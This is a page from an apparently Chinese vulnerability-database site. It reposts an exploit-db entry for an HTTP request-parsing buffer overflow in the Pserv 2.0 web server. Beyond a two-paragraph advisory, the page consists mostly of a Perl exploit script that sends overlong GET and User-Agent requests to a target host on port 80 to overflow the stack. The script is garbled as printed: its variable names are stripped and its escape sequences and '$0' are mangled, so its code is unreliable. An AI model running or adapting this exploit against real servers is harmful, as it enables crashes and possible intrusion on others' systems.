Pserv 2.0 – HTTP Request Parsing Buffer Overflow

Pserv 2.0 – HTTP Request Parsing Buffer Overflow

漏洞ID 1053632 漏洞类型
发布时间 2002-11-01 更新时间 2002-11-01
图片[1]-Pserv 2.0 – HTTP Request Parsing Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-Pserv 2.0 – HTTP Request Parsing Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22059
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6287/info

A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. 

An attacker can exploit this vulnerability by issuing a HTTP request with an overly long GET request for a document. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.

#!/usr/bin/perl -w

use IO::Socket;

 = "Pserv 2.0 Beta 1, 2, 3, 5";

unless (@ARGV == 1) {
print "n By Sapient2003n";
die "usage: -bash <host to exploit>n";
}
print "n By Sapient2003n";

 = "A" x 500;

 = "GET / HTTP/1.0nUser-Agent: nn";
 = "GET / HTTP/1.0nn";
 = "GET / HTTP/1.nn";

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]n";
print  ;
print "Attempted to exploit User-Agent HTTP Headern";
close();

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]n";
print  ;
print "Attempted to exploit HTTP Request Parsingn";
close();

相关推荐: Java字节码验证漏洞

Java字节码验证漏洞 漏洞ID 1207663 漏洞类型 未知 发布时间 1996-03-29 更新时间 1996-03-29 CVE编号 CVE-1999-0141 CNNVD-ID CNNVD-199603-003 漏洞平台 N/A CVSS评分 3.7…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享